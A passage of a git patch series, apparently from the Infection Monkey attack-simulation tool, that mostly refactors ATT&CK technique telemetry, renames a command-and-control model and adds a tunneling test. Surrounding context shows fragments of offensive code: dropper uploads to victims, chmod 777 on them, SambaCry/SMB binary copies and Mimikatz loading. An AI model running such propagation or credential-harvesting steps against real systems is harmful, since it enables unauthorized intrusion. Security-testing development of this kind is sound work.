file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) - T1105Telem(ScanStatus.USED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], - src_path).send() + status = ScanStatus.USED ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) - T1105Telem(ScanStatus.SCANNED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], - src_path).send() + status = ScanStatus.SCANNED + + T1105Telem(status, + get_interface_to_target(self.host.ip_addr[0]), + self.host.ip_addr[0], + src_path).send() + if status == ScanStatus.SCANNED: return False + try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index d923cb60e..a388813ab 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -82,17 +82,22 @@ class UsersPBA(PBA): pba_file_contents = ControlClient.get_pba_file(filename) + status = None if not pba_file_contents or not pba_file_contents.content: LOG.error("Island didn't respond with post breach file.") - T1105Telem(ScanStatus.SCANNED, - WormConfiguration.current_server.split(':')[0], - get_interface_to_target(WormConfiguration.current_server.split(':')[0]), - filename).send() - return False - T1105Telem(ScanStatus.USED, + status = ScanStatus.SCANNED + + if not status: + status = ScanStatus.USED + + T1105Telem(status, WormConfiguration.current_server.split(':')[0], get_interface_to_target(WormConfiguration.current_server.split(':')[0]), filename).send() + + if status == ScanStatus.SCANNED: + return False + try: with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: written_PBA_file.write(pba_file_contents.content) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js index ed0ebc1e9..afe9003b3 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -12,7 +12,7 @@ class T1105 extends React.Component { static getFilesColumns() { return ([{ - Header: 'Files copied.', + Header: 'Files copied', columns: [ {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 }, {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170}, From ee1d6507b044ef4ff9cbff764a8bf610b60c3ed3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Aug 2019 17:39:53 +0300 Subject: [PATCH 30/43] Refactored T1106 to use Usage enum and fixed SMB bugs --- monkey/common/utils/attack_utils.py | 6 ++++++ monkey/infection_monkey/dropper.py | 5 ++--- monkey/infection_monkey/exploit/sambacry.py | 4 ++-- monkey/infection_monkey/exploit/tools/helpers.py | 1 + .../infection_monkey/exploit/tools/smb_tools.py | 8 ++++---- .../system_info/mimikatz_collector.py | 3 +-- monkey/infection_monkey/system_singleton.py | 15 +++++++++------ .../telemetry/attack/t1106_telem.py | 2 +- 8 files changed, 26 insertions(+), 18 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index 3edb0dc28..23b7e078c 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -15,6 +15,12 @@ class UsageEnum(Enum): ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."} MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."} + MIMIKATZ_FILE_COPY = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", + ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz, but failed."} + SINGLETON_FILE_COPY = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", + ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" + " for monkey process wasn't successful."} + DROPPER_FILE_COPY = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} # Dict that describes what BITS job was used for diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 6bd9dab84..6b8e969c0 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -15,7 +15,7 @@ from infection_monkey.exploit.tools.helpers import build_monkey_commandline_expl from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from infection_monkey.system_info import SystemInfoCollector, OperatingSystem from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -158,7 +158,6 @@ class MonkeyDrops(object): else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) - T1106Telem(ScanStatus.USED, "WinAPI was used to mark monkey files" - " for deletion on next boot.").send() + T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_FILE_COPY).send() except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 23d89bfa5..762cc14b5 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -270,8 +270,8 @@ class SambaCryExploiter(HostExploiter): with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) T1105Telem(ScanStatus.USED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 83a8bfd92..bc74128e2 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -19,6 +19,7 @@ def get_interface_to_target(dst): s.connect((dst, 1)) ip_to_dst = s.getsockname()[0] except KeyError: + LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.") ip_to_dst = '127.0.0.1' finally: s.close() diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index af088d9eb..6ca0b63ad 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -140,8 +140,8 @@ class SmbTools(object): file_uploaded = True T1105Telem(ScanStatus.USED, - get_interface_to_target(host.ip_addr[0]), - host.ip_addr[0], + get_interface_to_target(host.ip_addr), + host.ip_addr, dst_path).send() LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", src_path, share_name, share_path, host) @@ -151,8 +151,8 @@ class SmbTools(object): LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc) T1105Telem(ScanStatus.SCANNED, - get_interface_to_target(host.ip_addr[0]), - host.ip_addr[0], + get_interface_to_target(host.ip_addr), + host.ip_addr, dst_path).send() continue finally: diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index d878bcb34..c0632a09e 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -47,7 +47,6 @@ class MimikatzCollector(object): collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) - T1106Telem(ScanStatus.USED, "WinAPI was called to load mimikatz.").send() self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) @@ -57,7 +56,7 @@ class MimikatzCollector(object): LOG.exception("Error initializing mimikatz collector") status = ScanStatus.SCANNED T1129Telem(status, UsageEnum.MIMIKATZ).send() - T1106Telem(ScanStatus.SCANNED, "Monkey tried to call WinAPI to load mimikatz.").send() + T1106Telem(status, UsageEnum.MIMIKATZ_FILE_COPY).send() def get_logon_info(self): """ diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 06a2ea689..a1c8762cd 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -5,7 +5,7 @@ from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum __author__ = 'itamar' @@ -45,22 +45,25 @@ class WindowsSystemSingleton(_SystemSingleton): ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name)) last_error = ctypes.windll.kernel32.GetLastError() + + status = None if not handle: LOG.error("Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error) - T1106Telem(ScanStatus.SCANNED, "WinAPI call to acquire system singleton " - "for monkey process wasn't successful.").send() - - return False + status = ScanStatus.SCANNED if winerror.ERROR_ALREADY_EXISTS == last_error: + status = ScanStatus.SCANNED LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name) + if not status: + status = ScanStatus.USED + T1106Telem(status, UsageEnum.SINGLETON_FILE_COPY).send() + if status == ScanStatus.SCANNED: return False self._mutex_handle = handle - T1106Telem(ScanStatus.USED, "WinAPI was called to acquire system singleton for monkey's process.").send() LOG.debug("Global singleton mutex %r acquired", self._mutex_name) diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py index 30cad6072..255145da8 100644 --- a/monkey/infection_monkey/telemetry/attack/t1106_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py @@ -6,6 +6,6 @@ class T1106Telem(UsageTelem): """ T1129 telemetry. :param status: ScanStatus of technique - :param usage: Usage string + :param usage: UsageEnum type value """ super(T1106Telem, self).__init__("T1106", status, usage) From 35c496812f8403cc343e467d343a2291f0879f9d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 2 Aug 2019 13:11:16 +0300 Subject: [PATCH 31/43] Fixed CR comments and implemented test for proxy attack techniques --- monkey/monkey_island/cc/models/monkey.py | 16 +++++------- monkey/monkey_island/cc/models/test_monkey.py | 26 +++++++++++++++++-- .../attack/technique_reports/T1090.py | 7 ++--- .../attack/technique_reports/T1188.py | 9 +++---- .../components/attack/techniques/Helpers.js | 1 + .../src/components/attack/techniques/T1090.js | 16 +++++++----- .../src/components/attack/techniques/T1188.js | 2 +- 7 files changed, 47 insertions(+), 30 deletions(-) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 418cec03f..f9f556844 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -68,19 +68,17 @@ class Monkey(Document): os = "windows" return os + def get_network_info(self): + """ + Formats network info from monkey's model + :return: dictionary with an array of IP's and a hostname + """ + return {'ips': self.ip_addresses, 'hostname': self.hostname} + @staticmethod def get_tunneled_monkeys(): return Monkey.objects(tunnel__exists=True) - @staticmethod - def get_network_info(monkey): - """ - Formats network info from monkey's model - :param monkey: monkey model - :return: dictionary with an array of IP's and a hostname - """ - return {'ips': monkey.ip_addresses, 'hostname': monkey.hostname} - class MonkeyNotFoundError(Exception): pass diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index a744db6b6..a44512995 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -9,11 +9,11 @@ from monkey_ttl import MonkeyTtl class TestMonkey(IslandTestCase): """ - Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and + Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and won't work. Also, the working directory needs to be the working directory from which you usually run the island so the - server.json file is found and loaded. + server_config.json file is found and loaded. """ def test_is_dead(self): @@ -77,3 +77,25 @@ class TestMonkey(IslandTestCase): self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects()))) self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects()))) self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects()))) + + def test_get_tunneled_monkeys(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + linux_monkey = Monkey(guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine") + windows_monkey = Monkey(guid=str(uuid.uuid4()), + description="Windows bla bla bla", + tunneling=linux_monkey) + unknown_monkey = Monkey(guid=str(uuid.uuid4()), + description="bla bla bla", + tunneling=windows_monkey) + linux_monkey.save() + windows_monkey.save() + unknown_monkey.save() + tunneled_monkeys = Monkey.get_tunneled_monkeys() + test = bool(windows_monkey in tunneled_monkeys + and unknown_monkey in tunneled_monkeys + and linux_monkey not in tunneled_monkeys + and len(tunneled_monkeys) == 2) + self.assertTrue(test, "Tunneling test") diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index 0e48d2198..f0835aff9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -15,11 +15,8 @@ class T1090(AttackTechnique): @staticmethod def get_report_data(): monkeys = Monkey.get_tunneled_monkeys() - monkeys = [Monkey.get_network_info(monkey) for monkey in monkeys] - if monkeys: - status = ScanStatus.USED.value - else: - status = ScanStatus.UNSCANNED.value + monkeys = [monkey.get_network_info() for monkey in monkeys] + status = ScanStatus.USED.value if monkeys else ScanStatus.UNSCANNED.value data = T1090.get_base_data_by_status(status) data.update({'proxies': monkeys}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 6e35f7c7f..32187696a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -23,13 +23,10 @@ class T1188(AttackTechnique): proxy_count += 1 proxy = proxy.tunnel if proxy_count > 1: - hops.append({'from': Monkey.get_network_info(initial), - 'to': Monkey.get_network_info(proxy), + hops.append({'from': initial.get_network_info(), + 'to': proxy.get_network_info(), 'count': proxy_count}) - if hops: - status = ScanStatus.USED.value - else: - status = ScanStatus.UNSCANNED.value + status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value data = T1188.get_base_data_by_status(status) data.update({'hops': hops}) return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index adc0d2583..18df4b58f 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -17,6 +17,7 @@ export function renderMachineFromSystemData(data) { machineStr += ipInfo + ", "; } }); + // Replaces " ," with " )" to finish a list of IP's return machineStr.slice(0, -2) + " )" } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js index 99660cf65..d5fed289f 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js @@ -12,7 +12,6 @@ class T1090 extends React.Component { static getProxyColumns() { return ([{ - Header: "Proxies were used to communicate with:", columns: [ {Header: 'Machines', id: 'machine', @@ -26,12 +25,15 @@ class T1090 extends React.Component {
{this.props.data.message}

{this.props.data.status === scanStatus.USED ? - : ""} +
+

Proxies were used to communicate with:

+ +
: ""}
); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js index f938c5e3f..c28a8092c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js @@ -12,7 +12,7 @@ class T1188 extends React.Component { static getHopColumns() { return ([{ - Header: "Communications trough multi-hop proxies", + Header: "Communications through multi-hop proxies", columns: [ {Header: 'From', id: 'from', From 7eab8687c1d5d926d757696f5cd127991d2d867b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Aug 2019 09:16:14 +0300 Subject: [PATCH 32/43] Fixed bug created during merge, fixed typos in attack telemetries for usage. --- monkey/common/utils/attack_utils.py | 10 ++++------ monkey/infection_monkey/dropper.py | 2 +- .../infection_monkey/system_info/mimikatz_collector.py | 2 +- monkey/infection_monkey/system_singleton.py | 2 +- .../infection_monkey/telemetry/attack/usage_telem.py | 4 ++-- 5 files changed, 9 insertions(+), 11 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index ac3f2f66b..708bc8f3c 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -18,12 +18,10 @@ class UsageEnum(Enum): MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."} DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} - MIMIKATZ_FILE_COPY = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", - ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz, but failed."} - SINGLETON_FILE_COPY = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", - ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" - " for monkey process wasn't successful."} - DROPPER_FILE_COPY = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} + SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", + ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" + " for monkey process wasn't successful."} + DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} # Dict that describes what BITS job was used for diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 6b8e969c0..7c576fc30 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -158,6 +158,6 @@ class MonkeyDrops(object): else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) - T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_FILE_COPY).send() + T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index c0632a09e..2951b7ebc 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -55,8 +55,8 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error initializing mimikatz collector") status = ScanStatus.SCANNED + T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send() T1129Telem(status, UsageEnum.MIMIKATZ).send() - T1106Telem(status, UsageEnum.MIMIKATZ_FILE_COPY).send() def get_logon_info(self): """ diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index a1c8762cd..50fa6363b 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -59,7 +59,7 @@ class WindowsSystemSingleton(_SystemSingleton): if not status: status = ScanStatus.USED - T1106Telem(status, UsageEnum.SINGLETON_FILE_COPY).send() + T1106Telem(status, UsageEnum.SINGLETON_WINAPI).send() if status == ScanStatus.SCANNED: return False diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index 4b47d8be3..2d7cb548e 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -7,10 +7,10 @@ class UsageTelem(AttackTelem): """ :param technique: Id of technique :param status: ScanStatus of technique - :param usage: Enum of UsageEnum type + :param usage: Usage string """ super(UsageTelem, self).__init__(technique, status) - self.usage = usage.name + self.usage = usage def get_data(self): data = super(UsageTelem, self).get_data() From c6da2cce07eadb049c1a27bddaff2076a48c8468 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Aug 2019 14:16:25 +0300 Subject: [PATCH 33/43] Fixed bugs and typos --- monkey/infection_monkey/monkey.py | 2 +- monkey/infection_monkey/telemetry/attack/usage_telem.py | 4 ++-- .../cc/ui/src/components/attack/techniques/T1105.js | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 20dc67538..ce5ab2093 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -184,7 +184,7 @@ class InfectionMonkey(object): (':'+self._default_server_port if self._default_server_port else '')) else: machine.set_default_server(self._default_server) - LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) + LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type if WormConfiguration.should_exploit: diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index 2d7cb548e..4b47d8be3 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -7,10 +7,10 @@ class UsageTelem(AttackTelem): """ :param technique: Id of technique :param status: ScanStatus of technique - :param usage: Usage string + :param usage: Enum of UsageEnum type """ super(UsageTelem, self).__init__(technique, status) - self.usage = usage + self.usage = usage.name def get_data(self): data = super(UsageTelem, self).get_data() diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js index afe9003b3..8acd48c4b 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { scanStatus } from "./Helpers" +import { ScanStatus } from "./Helpers" class T1105 extends React.Component { @@ -25,7 +25,7 @@ class T1105 extends React.Component {
{this.props.data.message}

- {this.props.data.status !== scanStatus.UNSCANNED ? + {this.props.data.status !== ScanStatus.UNSCANNED ? Date: Mon, 19 Aug 2019 15:17:48 +0300 Subject: [PATCH 34/43] Fixed bug in unit test for tunneling --- monkey/monkey_island/cc/models/test_monkey.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index a44512995..ba8ff10fc 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -86,10 +86,10 @@ class TestMonkey(IslandTestCase): description="Linux shay-Virtual-Machine") windows_monkey = Monkey(guid=str(uuid.uuid4()), description="Windows bla bla bla", - tunneling=linux_monkey) + tunnel=linux_monkey) unknown_monkey = Monkey(guid=str(uuid.uuid4()), description="bla bla bla", - tunneling=windows_monkey) + tunnel=windows_monkey) linux_monkey.save() windows_monkey.save() unknown_monkey.save() From 3325aea17db911b5edc53e9e212654ac17f19e40 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Aug 2019 17:16:57 +0300 Subject: [PATCH 35/43] Fixed CR comments --- monkey/monkey_island/cc/models/__init__.py | 2 +- monkey/monkey_island/cc/models/c2_info.py | 6 ------ .../cc/models/command_control_channel.py | 11 +++++++++++ monkey/monkey_island/cc/models/monkey.py | 3 ++- monkey/monkey_island/cc/resources/telemetry.py | 4 ++-- .../cc/services/attack/technique_reports/T1041.py | 8 ++++---- monkey/monkey_island/cc/services/node.py | 2 +- 7 files changed, 21 insertions(+), 15 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/c2_info.py create mode 100644 monkey/monkey_island/cc/models/command_control_channel.py diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 9f82e472d..58e950914 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -16,5 +16,5 @@ from config import Config from creds import Creds from monkey_ttl import MonkeyTtl from pba_results import PbaResults -from c2_info import C2Info +from command_control_channel import CommandControlChannel from monkey import Monkey diff --git a/monkey/monkey_island/cc/models/c2_info.py b/monkey/monkey_island/cc/models/c2_info.py deleted file mode 100644 index d0f07a3f3..000000000 --- a/monkey/monkey_island/cc/models/c2_info.py +++ /dev/null @@ -1,6 +0,0 @@ -from mongoengine import EmbeddedDocument, StringField - - -class C2Info(EmbeddedDocument): - src = StringField() - dst = StringField() diff --git a/monkey/monkey_island/cc/models/command_control_channel.py b/monkey/monkey_island/cc/models/command_control_channel.py new file mode 100644 index 000000000..3aefef455 --- /dev/null +++ b/monkey/monkey_island/cc/models/command_control_channel.py @@ -0,0 +1,11 @@ +from mongoengine import EmbeddedDocument, StringField + + +class CommandControlChannel(EmbeddedDocument): + """ + This value describes command and control channel monkey used in communication + src - Monkey Island's IP + dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey) + """ + src = StringField() + dst = StringField() diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 6c4c90214..243842e73 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -6,6 +6,7 @@ from mongoengine import Document, StringField, ListField, BooleanField, Embedded DateTimeField from monkey_island.cc.models.monkey_ttl import MonkeyTtl +from monkey_island.cc.models.command_control_channel import CommandControlChannel class Monkey(Document): @@ -33,7 +34,7 @@ class Monkey(Document): pba_results = ListField() ttl_ref = ReferenceField(MonkeyTtl) tunnel = ReferenceField("self") - c2_info = EmbeddedDocumentField('C2Info') + command_control_channel = EmbeddedDocumentField(CommandControlChannel) # LOGIC @staticmethod diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 7a34c13de..6890dba6b 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -48,7 +48,7 @@ class Telemetry(flask_restful.Resource): def post(self): telemetry_json = json.loads(request.data) telemetry_json['timestamp'] = datetime.now() - telemetry_json['c2_channel'] = {'src': request.remote_addr, 'dst': request.host} + telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host} monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) @@ -111,7 +111,7 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_state_telemetry(telemetry_json): monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - NodeService.add_communication_info(monkey, telemetry_json['c2_channel']) + NodeService.add_communication_info(monkey, telemetry_json['command_control_channel']) if telemetry_json['data']['done']: NodeService.set_monkey_dead(monkey, True) else: diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py index 741ee2ae9..1342b646e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -15,13 +15,13 @@ class T1041(AttackTechnique): @staticmethod def get_report_data(): monkeys = list(Monkey.objects()) - info = [{'src': monkey['c2_info']['src'], - 'dst': monkey['c2_info']['dst']} - for monkey in monkeys if monkey['c2_info']] + info = [{'src': monkey['command_control_channel']['src'], + 'dst': monkey['command_control_channel']['dst']} + for monkey in monkeys if monkey['command_control_channel']] if info: status = ScanStatus.USED.value else: status = ScanStatus.UNSCANNED.value data = T1041.get_base_data_by_status(status) - data.update({'c2_info': info}) + data.update({'command_control_channel': info}) return data diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index c7b82cbfa..2c75d7187 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -250,7 +250,7 @@ class NodeService: @staticmethod def add_communication_info(monkey, info): mongo.db.monkey.update({"guid": monkey["guid"]}, - {"$set": {'c2_info': info}}, + {"$set": {'command_control_channel': info}}, upsert=False) @staticmethod From cae1b72d861da36da91e9862a2246badf113e924 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Aug 2019 08:35:45 +0300 Subject: [PATCH 36/43] Added machine to t1222 telem. comment --- monkey/infection_monkey/telemetry/attack/t1222_telem.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py index c8d16061e..4708c230a 100644 --- a/monkey/infection_monkey/telemetry/attack/t1222_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -7,6 +7,7 @@ class T1222Telem(VictimHostTelem): T1222 telemetry. :param status: ScanStatus of technique :param command: command used to change permissions + :param machine: VictimHost type object """ super(T1222Telem, 